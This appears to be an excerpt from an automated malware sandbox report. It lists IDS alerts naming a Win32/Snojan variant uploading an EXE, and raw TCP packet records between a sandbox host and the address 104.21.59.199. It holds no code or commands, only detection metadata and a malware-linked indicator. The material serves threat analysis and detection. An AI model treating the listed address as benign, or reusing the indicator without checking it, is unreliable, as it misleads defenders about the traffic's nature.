2024-10-10T21:02:51.820068+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50587	104.21.59.199	80	TCP
2024-10-10T21:02:52.759355+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50597	104.21.59.199	80	TCP
2024-10-10T21:02:53.638654+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50604	104.21.59.199	80	TCP
2024-10-10T21:02:54.553442+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50610	104.21.59.199	80	TCP
2024-10-10T21:02:55.659638+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50616	104.21.59.199	80	TCP
2024-10-10T21:02:56.577221+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50622	104.21.59.199	80	TCP
2024-10-10T21:02:57.533371+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50629	104.21.59.199	80	TCP
2024-10-10T21:02:58.570684+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50635	104.21.59.199	80	TCP
2024-10-10T21:02:59.566740+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50645	104.21.59.199	80	TCP
2024-10-10T21:03:00.861630+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50651	104.21.59.199	80	TCP
2024-10-10T21:03:02.115917+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50658	104.21.59.199	80	TCP
2024-10-10T21:03:03.244282+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50664	104.21.59.199	80	TCP
2024-10-10T21:03:04.271092+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50667	104.21.59.199	80	TCP
2024-10-10T21:03:05.504808+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50668	104.21.59.199	80	TCP
2024-10-10T21:03:06.553840+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50669	104.21.59.199	80	TCP
2024-10-10T21:03:07.456200+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50670	104.21.59.199	80	TCP
2024-10-10T21:03:08.684980+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50671	104.21.59.199	80	TCP
2024-10-10T21:03:09.642859+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50672	104.21.59.199	80	TCP
2024-10-10T21:03:10.759464+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50673	104.21.59.199	80	TCP
2024-10-10T21:03:11.942620+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50674	104.21.59.199	80	TCP
2024-10-10T21:03:12.924145+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50675	104.21.59.199	80	TCP
2024-10-10T21:03:13.918044+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50676	104.21.59.199	80	TCP
2024-10-10T21:03:14.886408+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50677	104.21.59.199	80	TCP
2024-10-10T21:03:17.497464+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50678	104.21.59.199	80	TCP
2024-10-10T21:03:18.424281+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50679	104.21.59.199	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 21:01:12.806907892 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:12.811789036 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:12.811878920 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:12.813492060 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:12.818414927 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.267910004 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.268841028 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.269130945 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.274605036 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274750948 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274777889 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274815083 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.274832010 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.274888039 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274914980 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274930954 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.274941921 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274966955 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.274974108 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.274986029 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.275013924 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.275104046 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.275130033 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.275155067 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.275156975 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.275167942 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.275199890 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.279337883 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.279393911 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.279762983 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.279808044 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.279809952 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.279854059 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.279871941 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.279915094 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.280102968 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.280129910 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.280149937 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.280167103 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.280257940 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.280306101 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.280335903 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.280356884 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.280368090 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.280416012 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.284404039 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.284481049 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.284729958 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.284852982 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.284878969 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285041094 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285088062 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285218000 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285265923 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285370111 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285435915 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285465956 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285613060 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285640001 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285665035 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285691977 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285717010 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285762072 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285788059 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285814047 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285840034 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285865068 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285891056 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285917044 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285942078 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.285967112 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.289494991 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.289617062 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.289643049 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.577811003 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.583090067 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.588504076 CEST	80	49730	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.588578939 CEST	49730	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.722002029 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.727134943 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:13.727240086 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.727727890 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:13.732600927 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.191318035 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.192650080 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.193052053 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.198662996 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199208975 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199238062 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199264050 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199290991 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199304104 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199352026 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199378967 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199563026 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199611902 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199630976 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199640036 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199664116 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199667931 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199695110 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.199712038 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.199743986 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.204224110 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.204324961 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.205488920 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205537081 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205560923 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.205564022 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205590963 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205619097 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205650091 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.205780029 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.205857038 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.205909014 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.205920935 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.206001043 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.209557056 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.209635973 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.210746050 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.210844994 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.210876942 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.210988045 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.211041927 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.211183071 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.211213112 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.211257935 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.212091923 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.212141037 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.214832067 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.214859962 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.214909077 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.217272997 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.217300892 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.217330933 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.219849110 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.515232086 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.556555033 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.721004009 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.727170944 CEST	80	49731	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.727300882 CEST	49731	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.851722002 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.856839895 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:14.856940985 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.857393026 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:14.862346888 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.320950031 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.322505951 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.322793961 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.327588081 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327727079 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327792883 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.327831984 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327861071 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327888012 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.327913046 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327918053 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.327940941 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.327967882 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.327989101 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.328005075 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.328017950 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.328042030 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.328046083 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.328071117 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.328073025 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.328099966 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.328126907 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.332420111 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.332490921 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333036900 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333065033 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333102942 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333110094 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333132982 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333137989 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333172083 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333184958 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333203077 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333233118 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333234072 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333261967 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333311081 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333317995 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333338022 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333363056 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333364010 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333396912 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.333400965 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.333477974 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.338326931 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.338418007 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.339212894 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339376926 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339432001 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339458942 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339507103 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339534044 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339560032 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339586020 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339611053 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339658022 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339683056 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339709044 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.339739084 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.343487024 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.343626976 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.343653917 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.651150942 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.668627024 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.674283981 CEST	80	49732	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.674479008 CEST	49732	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.863327980 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.868463993 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:15.868566990 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.869040966 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:15.873853922 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.342678070 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.344041109 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.344294071 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349106073 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349276066 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349307060 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349335909 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349338055 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349358082 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349383116 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349385977 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349414110 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349438906 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349440098 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349458933 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349483967 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349486113 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349512100 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349531889 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349538088 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.349558115 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.349584103 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.353890896 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.353966951 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354358912 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354406118 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354407072 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354461908 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354468107 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354513884 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354515076 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354541063 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354562044 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354590893 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354645967 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354720116 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.354801893 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.354871035 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.359076023 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359153986 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.359422922 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359512091 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359543085 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359589100 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359714985 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359740973 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359832048 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359957933 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.359983921 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360028982 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360054970 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360099077 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360126019 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360156059 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360254049 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360281944 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360327005 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360352993 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360378027 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.360403061 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.364129066 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.364375114 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.364402056 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.643565893 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.654066086 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.659562111 CEST	80	49733	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.659646988 CEST	49733	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.779866934 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.784929991 CEST	80	49734	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:16.785006046 CEST	49734	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:16.785511017 CEST	49734	80	192.168.2.4	104.21.59.199
